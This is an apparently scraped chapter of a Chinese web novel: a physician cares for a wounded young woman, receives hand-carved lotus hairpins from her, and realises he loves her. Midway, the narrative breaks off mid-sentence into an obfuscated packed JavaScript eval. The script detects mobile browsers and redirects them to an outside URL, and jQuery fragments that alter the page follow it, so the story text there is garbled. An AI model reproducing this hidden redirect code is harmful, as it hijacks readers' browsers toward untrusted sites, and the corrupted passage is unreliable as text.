82.番外 情不知所起(二)

作品:《我见明月

    送走那个误闯入自己生活的小姑娘后,桑瑱的生活一切照旧。


    每日清晨,他习惯早起去附近山头寻找新鲜药草。


    天气好时,再将这些药草放到屋后的石头上晾晒。


    有时日头太烈,他累了,便找个阴凉地席地而坐,伴着清风鸟鸣,翻看医书。


    日子就这样慢悠悠地过着,那个叫“忘月”的姑娘,一直未曾回来。


    先前见她可怜,他曾心软答应会帮忙解“错花愁”。


    眼见着大半个月过去了,桑瑱猜测,此人应当不会再来了。


    女子走后的第三天,桑瑱见到一只雪白的信鸽停在屋前。


    信鸽腿上绑着一个轻便且似乎防水的袋子,他打开一看,里面是一张字条与两张银票,字条上写着:诊金,连清收。


    银票足足有两百两。


    桑瑱自然知道这是何人手笔,他倒吸了一口凉气,饶是他以“灵医妙手”的身份行医,也值不了这么多诊金。


    他不知那姑娘是不当家不知柴米油盐价,还是放大了自己的恩情。总之,这银子太多,他受之有愧。


    他将银票夹在医书中,想着日后若是有缘再见,定要物归原主。


    这天,他如往常一样上山采药,因走得太远又绕了路,到家时便有些晚。


    彼时夜幕将至,天空由湛蓝变成浅灰,天边几颗明星乍现,月亮也从云层后缓缓升起。


    桑瑱远远瞧见,平日里用作厨房的小屋此刻亮如白昼,隐约还有青烟冒出。


    这是……起火了?


    好端端的,怎会突然起火?


    莫不是天太热,发生了山火?


    可有山火,也不该是从里面燃起啊!


    他一路狂奔,气喘吁吁地跑进了屋。


    火势已灭,灶台前站着一个浑身漆黑、看不清模样的“人”。


    恰巧此刻暮色已尽,月光透过木窗,照在这黑影身上,更显诡异。


    桑瑱吓了一跳。


    什么鬼东西!大晚上出来吓人!


    “谁?”他问。


    “连、连清,是我……”


    熟悉的声音。


    “忘月姑娘?”


    他不可置信地后退两步,自己想见的人,回来了。


    女子尴尬地解释着方才发生的一切,桑瑱强忍笑意,好言宽慰。


    她浑身烧得焦黑,头发又脏又乱,紧张地看向自己时,眸中闪着熠熠水光。


    这般可怜的模样,桑瑱不由想起——幼时总爱与桑桑争着去抱的那只狸花猫。


    他下意识想为她拂去脸上的黑灰。


    这种举动出自本能,没有原由,也不受控制。


    桑瑱忽然发觉,自己好像总会不自觉想要亲近这女子。


    对她,他总是既心疼又好奇,总想着多了解一些。


    很快,他又注意到她的腿烫伤了。


    那人对此若无其事,一再强调问题不大,根本不疼。


    这世间会有不怕疼之人吗?


    桑桑亦是女子,在桑瑱的印象中,妹妹小时候即使只有指甲盖大的伤口,也要哼哼唧唧找爹娘吹上半天。


    桑桑如今也有双十年华,这个毛病还没改过来。


    眼前女子比桑桑还要小,当时躺在荒山野岭,浑身血窟窿也未曾吭过一句。


    思及此,他心中不忍,转身回屋,取来了烫伤膏。


    饭桌上,女子突然发问:“连清,你为何对我这么好?”


    桑瑱一愣,为何会对一个萍水相逢之人这么好?


    这个问题,他其实一直在问自己。


    或许是因为怜悯,抑或是他们有诸多相似之处,还有可能是别的他尚未想通的原因……


    但这些答案,显然不能说。


    他不想让她知晓,自己偷听了太多不该听的秘密。


    他笑着撒谎——因为家里人对自己好,所以他养成了与人为善的习惯。


    话一出口,她眼中明显多了几分羡慕与失落。


    桑瑱觉得自己哪壶不开提哪壶,明知对方父母不在,还故意刺激,但也只能硬着头皮继续。


    他想起她梦中一直在喊"爹娘带我回家",那她原本的家庭一定很美好吧?


    他问:“姑娘的父母呢?”


    她垂下眼帘,说出了他早已知晓的身世。


    “记忆中他们感情也十分要好。”


    “记忆中?”他明知故问。


    “是啊,她们在我很小的时候便去世了。”


    果然如此。


    桑瑱一时不知该说些什么,又想起了她送来的银票,欲物归原主,却被义正辞严地拒绝了。


    没办法,拿人家手短,桑瑱只能暗下决心,日后对她更好些。


    哪知他刚从河边洗完碗回来,对方又送来赔礼。


    少女淡声道:“我弄坏了你的东西,自然是要赔的。”


    桑瑱实在想不起她弄坏了什么,狐疑地打开了那个精致的木盒。


    盒中静静躺着两根玉簪——一根翡翠竹纹簪,一根白玉莲花簪。


    款式虽简约,但材质贵重,做工精良,一看便知上品。


    原来是指那日被弄碎的发带。


    一根普通发带换两根品相不凡的簪子,怎么看都像是在占便宜。


    他将盒子小心地放回桌上,笑着拒绝:“太贵重了,在下不能收。”


    似是早就料到他会有如此反应,女子神色如常,道:“欠债还钱,天经地义。忘月弄坏了东西,理应赔偿,连医师不必有负担,这簪子是我在街市上随手买的,值不了几个铜板。”


    值不了几个铜板……


    桑家富庶,桑瑱自然不缺这些饰物。


    这簪子品相如何,到底值不值钱,他还是能看出来的。


    少女望向他头顶,继续道:“虽不值钱,但比起连医师头上那根木簪,这两根显然更适合些。”


    烛火下,她眸光微动,眼中难得露出了一点期盼神色。


    桑瑱直直地盯着她,半晌,笑道:“有劳姑娘费心了。”


    既然收下能让她开心些,那便收着吧,不过日后得加倍照拂她才行。


    他拾起木匣,准备放在柜子里收好,忽听她问:“你不喜欢?”


    桑瑱动作一顿:“喜欢。”


    说喜欢倒也不是特别喜欢,他从小便对这些身外之物无甚感觉。


    于他而言,簪子能束发就行,材质再贵、模样再精美,似乎也没什么区别。


    但这样说,对方显然不会相信,说不定还会误会自己不喜欢这礼物。


    果不其然,她再次追问:“那为何不把那根木簪换下?”


    桑瑱搜肠刮肚,终于想出了一个合适的理由:“我日日都要上山采药,山路陡峭不好走,林中又多灌木。若带着这些玉石翡翠在头上,一不小心兴许就折断了,届时,岂不辜负了姑娘的一番美意?”


    女子闻言,微不可见地皱了皱眉,良久,缓缓开口道:“如此说来,岂不是木簪最合适连医师了?”


    桑瑱摸了摸头上的发簪,思索片刻,点头称是。


    对方闻言,收回目光,倒也没再说什么。


    夜里,两人又因睡在哪里争论了一番,先前那姑娘受伤时,桑瑱为了避嫌睡在厨房。


    如今厨房被烧,里面又湿又脏,显然不能再住人。


    桑瑱本想继续把床让给对方,自己去外面将就一晚,但小姑娘执意不让,反而一溜烟不见了踪影。


    桑瑱躺在床上,辗转反侧,许久不能入眠。


    七月半,正是民间传说“百鬼夜行”的日子,夜里本不宜外出,可她却为了顾全彼此名声,宁愿独自在外过夜。


    桑瑱从小习惯事事以桑桑为先,突然有一人主动迁就自己,那种感觉,说不出来的奇怪。


    他披上外衣,推开门,朝屋外走去。


    月光透过密林缝隙,投下一片斑驳的树影。


    微风掠起,树影婆娑,整个山林比平日里多了几分鬼魅阴森的氛围。


    桑瑱忍不住打了个寒颤。


    在林中找了许久,始终没瞧见那道身影。他怅然地走回住处,一夜浅眠。


    -


    那姑娘回来的主要目的是解“错花愁”,桑瑱一直很清楚这一点,所以对此也几乎是毫无保留。


    他帮她针灸、为她熬煮汤药、疏通她日渐堵塞的经脉,而她亦配合地接受一切。


    桑瑱突然觉得,家中多一人也挺好。小姑娘虽不爱说话,但有她在,自己莫名感到一种说不出的安心。


    她来的第三日,桑瑱傍晚采药回家,发现厨房放着洗干净的野菜与菌子。


    “我的厨艺,连医师也清楚,若不想再修一次房子,还得劳烦你来。”她说。


    桑瑱放下药篓,想起那一锅面目全非的鱼,忍不住笑了。


    他洗干净手,开始炒菜。


    烛光摇曳,饭桌上两人总是格外安静。


    不同于桑桑的聒噪,对面女子大部分时间都是沉默的,只有他主动问话,才会收到回应。


    她话虽不多,但很有眼力劲。


    吃完饭,桑瑱收拾好桌子,准备去河边洗碗。


    她连忙上前,“我来。”


    桑瑱一顿,人家是客人,还是个女子,怎能让她做这种粗活。


    他还未来得及拒绝,手中装着脏碗的篮子已被抢走。


    “连清,你煮饭也累了,以后我来刷碗。”


    明月高悬,少女着一袭玄色长裙,一手提着灯笼,另一只手挽着竹篮,大步朝河边走去。


    月光清亮,她的背影清瘦而孤寂。


    桑瑱只看了一眼,心中没来由想到“孤独”二字。


    第二日,他同往常一样早早出门,只是走之前,特地蒸了几个红糖包放在灶上。


    如果此生注定孤苦,那他希望——她的生活能有一点甜。


    傍晚,他返回住处,见她站在门口,望着远处的夕阳发呆。


    “忘月姑娘。”他驻足唤了一声。


    女子转身,伸出了右手。


    “你的簪子。”


    她的掌心,多了两根金丝楠木发簪,一根为莲花形状,另一根是莲蓬形状。


    桑瑱不明白她为何还惦记着这事,也不知她从哪弄来的这两根品相绝佳的发簪,故而一直没有接。


    她却上前一步,将它们塞到了他的掌心。


    桑瑱无奈,举起木簪细细端详,近距离一看,更觉手中之物生动逼真。


    莲花簪纹理细腻,花瓣清晰可见,莲蓬簪由三个精巧的小莲蓬组成,表面被精细打磨过,每一处细节都栩栩如生。


    与其说是发簪,倒不如说是两件艺术品。


    “哪里来的?该不会是你自己雕刻的吧。”桑瑱隐隐猜到这种可能。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958216|151594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    女子不置可否。


    “你这两天刻的?”桑瑱大惊。


    就因为自己随口说喜欢木簪,所以她这两日一直在家弄这个?


    她点头:“我从小练习剑法与刀工,雕刻两根簪子,并非难事。连医师不要拒绝,都是些不值钱的小玩意儿。”


    桑瑱心中又涌起了那种奇怪的感觉。


    融入了制作者心意与时间的礼物,是无法用金银衡量的。


    他抚过莲花花瓣,有些困惑:“为何是莲花与莲蓬的图案?”


    她前两日送的也有莲花玉簪。


    女子微笑回应:“连清,莲清。莲花出淤泥而不染,莲子清如许,这两样东西,都与你很相配。我不知雕莲花好,还是刻莲子好,索性都做了一根。原以为会很难看,到是比我想象中要稍微好一点。”


    听对方这样直言不讳地将自己与高洁的莲相比,桑瑱面上不由一烫。


    短暂的相处过程中,他知道这姑娘有时直白赤忱得过分。


    他清了清嗓子,正想说她谬赞了,抬眸那一瞬,意外撞入了她的视线之中。


    面前女子气质虽清冷,然而容貌却生得极为明艳,浓眉下是一双微微上扬的桃花眼,这双眼睛在大部分时间都是冷淡哀愁的。


    而此刻,它的主人在微笑,眼底也带着浅浅的笑意。


    残阳似血,晚风醉人,一股莫名的情愫在周身蔓延开来。


    桑瑱倏地听到自己心脏深处传来强烈的震动声。


    那一瞬,他猛然意识到了什么,用力捂住了胸口。


    “连清,你怎么了?”她紧张地问。


    他慌乱地低下头,努力掩盖面上的不自然:“没事。”


    末了又觉得有些此地无银三百两,挺直腰板道:“我饿了,先做饭吃吧。”


    夜里,月光温柔,清亮如水。


    桑瑱躺在床上,对着窗外的明月发呆,内心犹如翻涌的江水,怎么也平静不下来。


    在床上转辗反侧许久,仍然无法入睡。他索性点上油灯,拿起枕边那两根木簪,细细端详。


    “莲花簪……”


    少年低声喃喃,脑中浮现出某人瘦削的背影,那股难以言喻的感觉,再度涌上心头。


    他按住心口,又摸了摸发烫的脸颊,终于不得不承认一个事实——他好像有一点点喜欢这个送他簪子的姑娘了。


    这个他随口一提,却事事有回应的小姑娘。


    因为一夜没睡好,第二天他难得起晚了。


    收拾妥当准备出门,一个身影突然闪了过来。


    女子头发松散,身上披着一件薄薄的外衣,显然也是刚刚从床上爬起来的模样。


    她挡在自己面前,语气难得有些轻快:“采药去?一起?”


    桑瑱打了一半的哈欠顿住了。


    自此,他每日便多了一个同伴。


    小姑娘记性很好,但凡自己讲过一遍的药草,她通通记得。


    桑瑱时常被她的记忆力惊到,甚至有时忍不住怀疑,她以前是不是学过医?


    还是较为精通的那种。


    但一想到她深不可测的武功,又觉得不太可能,年纪比自己还小,怎么会同时精通这么多东西?


    或许,这便是传说中的天赋秉异吧。


    桑瑱这样安慰自己。


    他原以为对方只是在家闲得无聊才出来,等哪天烦了,便不会再跟着。


    但她坚持了一天、两天、三天……桑瑱一直没等来她放弃的那一天。


    天气好时,他们会走很远的路,去找一些特殊的药草。


    山路陡峭不好走,桑瑱常常腿脚酸痛,小姑娘却始终神采奕奕,看起来毫无不适之色。


    “累不累?”他微笑着问身旁人,这是他今日第三次问出这个问题。


    “不累。”


    熟悉的回答让原本想坐下来休息的少年欲哭无泪。


    “连清,你若是累了,我们歇会儿。”她体贴地说。


    “不,不用,我不累。”桑瑱虽然很想休息,却也不得不否认。


    人家姑娘都不觉得累,他一个男人频繁喊累,太丢脸了吧。


    每每这时,他都会咬牙硬撑,时间长了,他发觉自己的身体比以前更好了,一口气走几里路都不带喘的。


    日子一天一天过去,两人白日里一起去附近几座山头采药,夜晚桑瑱回来帮她煮药、针灸、解毒,生活平静而简单。


    小姑娘话一直不多,虽然比刚见面时多了一些,但与聒噪的桑桑相比,那几乎算是安静沉默至极。


    桑瑱以前总嫌桑桑闹腾,如今在她身边,他反倒成了相对“闹腾”的那一个。


    他发觉自己很喜欢逗她。


    她一本正经的模样很有趣,偶尔孩子气的天真很有趣,脸红娇羞的瞬间更有趣。


    桑瑱有时故意说些似是而非、模棱两可的话,把那些藏在心底深深的爱恋,以一种开玩笑的口气诉说,然后又故意装出一副真诚得不能再真诚的样子,让她茫然。


    每每这时,她总会垂下脸,避开他的目光,脸上的红霞美得醉人。


    还有时,她并不能听懂暗示,歪着脑袋,漆黑的眼眸一片茫然。


    每当看到平日里冷若冰霜的少女,露出这般纯良无害的表情,桑瑱心中总会升起一股罪恶感。


    ——自己可真像是一个勾引漂亮姑娘的大坏蛋啊。